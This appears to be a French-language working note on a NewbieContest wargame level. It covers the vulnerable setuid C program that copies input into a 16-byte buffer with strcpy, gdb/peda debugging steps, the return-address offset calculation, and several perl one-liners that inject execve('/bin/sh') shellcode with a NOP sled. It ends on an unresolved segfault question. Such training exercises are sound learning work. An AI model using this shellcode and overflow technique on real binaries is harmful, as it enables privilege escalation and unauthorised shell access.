bof_nc_01a

wargame 01a - wargame.newbiecontest.org:22222 level01a///level01a
---> passer root dans le binaire (sticky bit) et faire un cat $HOME/.password


bin01a.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define COMMANDE "/bin/cat /home/level01a/.password"

int flag=0;

int check(char *password)
{

        char verif[29];
        char buffer[16];

        strcpy(buffer, password);
        strcpy(verif, "Donotcareitisnotusefull");

        if(strcmp(buffer, verif) == 0)
                flag = 1;

        return flag;
}

int main(int argc, char ** argv)
{
        if(argc != 2)
        {
                printf("Usage: %s <password>\n", argv[0]);
                return 1;
        }
        if(check(argv[1])==1)
        {
                printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
                printf("      Access Granted for my grand ma !\n");
                printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
                system(COMMANDE);
        }
        else
        {
                printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
                printf("\nAccess Denied!\n");
                printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
        }
}

mkdir /tmp/wg01a && cp bin01a.c /tmp/wg01a/bin01a.c && cd /tmp/wg01a

gcc -g -fno-stack-protector -z execstack -o bin01a bin01a.c

peda bin01a

list

disass check

b *0x080484ec
b *0x080484ff

x/xw $esp
0xbffffbdc:     0x08048592

dumpargs
Guessed arguments:
arg[0]: 0xbffffba3 --> 0xe9f375bf #0xbffffbd3 --> bla
arg[1]: 0xbffffdd0 ('A' <repeats 100 times>)

p/d 0xbffffbdc-0xbffffba3   0xbffffc0c-0xbffffbd3
  57

r $(perl -e 'print "A"x57 . "ABCD"')
c
c

r $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x90"x(57-23) . "ABCD"')

#0xbffffbd3   0xbffffbd3 # test 0xbffffc05 #0xbffffbe0 avec NOP sled # desesp 0xbffffdf6   #rest 0xbffffbe4
r $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x90"x(57-23) . "\xd3\xfb\xff\xbf"')
r $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x90"x(57-23) . "\x05\xfc\xff\xbf"')

r $(perl -e 'print "\x90"x32 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x90"x(57-32-23) . "\xd3\xfb\xff\xbf"')
r $(perl -e 'print "\x90"x32 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x90"x(57-32-23) . "\xe0\xfb\xff\xbf"')
r $(perl -e 'print "\x90"x32 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x90"x(57-32-23) . "ABCD"')


NOK
r $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x90"x(57-23) . "\xd3\xfb\xff\xbf"')
http://image.noelshack.com/fichiers/2020/32/5/1596807356-01-sigfault.png

@ du début du buffer trouvé par un break point sur le call puis dumpargs (arg[0])
alors que je pensais controler la stack car je break bien sur ABCD avec :
r $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x90"x(57-23) . "ABCD"')
Stopped reason: SIGSEGV
0x44434241 in ?? ()
et le shell code est fonctionnel car testé OK sur un autre binaire